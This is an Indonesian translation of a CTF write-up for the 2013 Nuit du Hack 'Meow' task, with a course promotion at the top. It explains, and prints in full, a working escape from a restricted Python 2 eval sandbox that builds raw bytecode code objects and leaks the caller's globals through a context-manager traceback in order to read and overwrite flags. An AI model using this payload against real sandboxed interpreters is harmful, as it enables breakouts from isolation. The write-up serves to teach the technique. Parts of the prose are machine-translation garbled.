Sandbox Escape dengan Python

Untuk mengantisipasi dimulainya kursus โ€œPengembang Python. Professional โ€ menyiapkan terjemahannya, meski bukan yang terbaru, tapi dari artikel yang tak kalah menarik ini. Selamat membaca!






Babak kualifikasi KKP 2013 Nuit du Hack berlangsung kemarin.Seperti biasa, dalam beberapa postingan saya akan bercerita tentang tugas dan / atau solusi menarik KKP ini. Jika Anda ingin tahu lebih banyak, rekan setim w4kfu saya juga harus segera memposting di blognya.



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




Salah satu tugas, yang disebut "Meow" , menawarkan kepada kita shell terbatas jarak jauh dengan Python, di mana sebagian besar modul bawaan dinonaktifkan:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


Beberapa fungsi yang tersedia yaitu kitty(), yang mengeluarkan gambar cat dalam ASCII, dan auth(password). Saya berasumsi kami perlu melewati otentikasi dan menemukan kata sandi. Sayangnya, perintah Python kami diteruskan dalam evalmode ekspresi, yang berarti kami tidak dapat menggunakan operator apa pun: tidak ada operator penugasan, tidak ada cetakan, tidak ada definisi fungsi / kelas, dll. Situasinya menjadi lebih rumit. Kami harus menggunakan sihir Python (akan ada banyak di posting ini, saya janji).



Awalnya saya berasumsi bahwa saya authhanya membandingkan kata sandi dengan string konstan. Dalam kasus ini, saya dapat menggunakan objek kustom yang dimodifikasi __eq__sedemikian rupa sehingga selalu kembaliTrue... Namun, Anda tidak bisa begitu saja mengambil dan membuat objek seperti itu. Kita tidak dapat mendefinisikan kelas kita sendiri melalui sebuah kelas Foo, karena kita tidak dapat mengubah objek yang sudah ada (tanpa penugasan). Di sinilah keajaiban Python dimulai: kita bisa langsung membuat instance objek tipe untuk membuat objek kelas, dan kemudian membuat instance objek kelas itu. Begini caranya:



type('MyClass', (), {'__eq__': lambda self: True})


Namun, kami tidak dapat menggunakan tipe di sini, ini tidak ditentukan dalam modul bawaan. Kita dapat menggunakan trik berbeda: setiap objek Python memiliki atribut __class__yang memberi kita tipe objek. Misalnya, โ€˜โ€™.__class__ini str. Tapi yang lebih menarik: str.__class__adalah tipenya. Jadi kita bisa gunakan ''.__class__.__class__untuk membuat tipe baru.



Sayangnya, fungsinya authtidak hanya membandingkan objek kita dengan string. Itu melakukan banyak operasi lain dengannya: itu membaginya menjadi 14 karakter, mengambil panjangnya len()dan menyebutnya reducedengan lambda aneh. Tanpa kode, sulit untuk mengetahui cara membuat objek yang berperilaku seperti yang diinginkan fungsi, dan saya tidak suka menebak-nebak. Lebih banyak keajaiban dibutuhkan!



Mari tambahkan objek kode. Faktanya, fungsi dalam Python juga merupakan objek yang terdiri dari objek kode dan tangkapan dari variabel globalnya. Objek kode berisi bytecode dari fungsi ini dan objek konstan yang dirujuknya, beberapa string, nama, dan metadata lainnya (jumlah argumen, jumlah objek lokal, ukuran tumpukan, pemetaan bytecode ke nomor baris). Anda bisa mendapatkan objek kode fungsi dengan myfunc.func_code. Ini restricteddilarang dalam mode interpreter Python, jadi kami tidak dapat melihat kode fungsi auth. Namun, kita dapat membuat fungsi kita sendiri seperti kita membuat tipe kita sendiri!



Anda mungkin bertanya, mengapa menggunakan objek kode untuk membuat fungsi ketika kita sudah memiliki lambda? Sederhana: lambda tidak boleh berisi operator. Dan fungsi yang dihasilkan secara acak bisa! Misalnya, kita dapat membuat fungsi yang menampilkan argumennya menjadi stdout:



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


Namun, ada masalah kecil di sini: untuk mendapatkan tipe objek kode, Anda perlu mengakses atribut func_codeyang dibatasi. Untungnya, kita dapat menggunakan lebih banyak sihir Python untuk menemukan tipe kita tanpa mengakses atribut terlarang.



Di Python, sebuah objek bertipe memiliki atribut __bases__yang mengembalikan daftar semua kelas dasarnya. Ini juga memiliki metode __subclasses__yang mengembalikan daftar semua jenis yang diwarisi darinya. Jika kita menggunakan __bases__tipe acak, kita bisa mencapai puncak hierarki tipe objek, dan kemudian membaca subclass objek untuk mendapatkan daftar semua tipe yang didefinisikan di interpreter:



>>> len(().__class__.__bases__[0].__subclasses__())
81


Kami kemudian dapat menggunakan daftar ini untuk menemukan tipe kami functiondan code:



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


Sekarang kita bisa membangun fungsi apa pun yang kita inginkan, apa yang bisa kita lakukan? Kita bisa langsung mengakses file inline unlimited: fungsi yang kita buat masih dijalankan di restricted-environment. Kita bisa mendapatkan fungsi yang tidak diisolasi: fungsi tersebut authmemanggil metode pada __len__objek yang kita berikan sebagai parameter. Namun, ini tidak cukup untuk keluar dari kotak pasir: variabel global kita masih sama, dan kita tidak dapat, misalnya, mengimpor modul. Saya mencoba untuk melihat semua kelas yang dapat kami akses__subclasses__untuk melihat apakah kita bisa mendapatkan tautan ke modul yang berguna melaluinya, tidak berhasil. Bahkan mendapatkan panggilan ke salah satu fungsi yang kami buat melalui reaktor tidaklah cukup. Kita bisa mencoba mendapatkan objek traceback dan menggunakannya untuk melihat frame stack pemanggil, tetapi satu-satunya cara mudah untuk mendapatkan objek traceback adalah melalui modul inspectatau sysyang tidak dapat kita impor. Setelah saya tersandung pada masalah ini, saya beralih ke yang lain, banyak tidur dan bangun dengan solusi yang tepat!



Bahkan, ada cara lain untuk mendapatkan traceback-objek di Python perpustakaan standar tanpa menggunakan: context manager. Mereka adalah fitur baru di Python 2.6 yang memungkinkan semacam pelingkupan berorientasi objek di Python:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


Kita bisa membuat objek context manageryang akan menggunakan objek traceback yang diteruskan __exit__untuk menampilkan variabel global ke fungsi pemanggil yang berada di luar kotak pasir. Untuk ini kami menggunakan kombinasi dari semua trik kami sebelumnya. Kita membuat tipe anonim yang mendefinisikan __enter__lambda sederhana dan __exit__lambda yang merujuk pada apa yang kita inginkan dalam jejak dan meneruskannya ke lambda keluaran kita (ingat kita tidak bisa menggunakan operator):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


Kita perlu menggali lebih dalam! Sekarang kita perlu menggunakan yang ini context manager(yang akan kita panggil ctxdalam cuplikan kode berikut) dalam fungsi yang dengan sengaja akan memunculkan kesalahan dalam sebuah blok with:



def f(self):
    with ctx:
        raise 42


Kemudian kami menempatkan fsebagai objek yang __len__kami buat, yang kami berikan ke fungsi auth:



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


Mari kita kembali ke awal artikel dan mengingat tentang kode sebaris yang "asli". Ketika dijalankan di server, ini menyebabkan penerjemah Python menjalankan fungsi kami f, melalui yang dibuat context manager __exit__, yang akan mengakses variabel global dari metode pemanggilan kami, di mana ada dua nilai yang menarik:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


Dua bendera ?! Ternyata layanan yang sama digunakan untuk dua tugas berurutan. Bunuh ganda!



Untuk bersenang-senang mengakses variabel global, kita dapat melakukan lebih dari sekedar membaca: kita dapat mengubah tanda! Penggunaan f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })bendera akan berubah hingga server berikutnya dimulai ulang. Ternyata, pihak penyelenggara tidak merencanakan hal tersebut.



Bagaimanapun, saya masih tidak tahu bagaimana kami seharusnya menyelesaikan masalah ini dengan cara yang normal, tetapi saya pikir solusi universal seperti itu adalah cara yang baik untuk memperkenalkan pembaca pada sihir hitam Python. Gunakan dengan hati-hati, mudah untuk memaksa Python melakukan segmentasi dengan objek kode yang dihasilkan (menggunakan interpreter Python dan menjalankan kode shell x86 melalui bytecode yang dihasilkan diserahkan kepada pembaca). Terima kasih kepada penyelenggara Nuit du Hack untuk tugas yang indah.







Baca lebih lajut






All Articles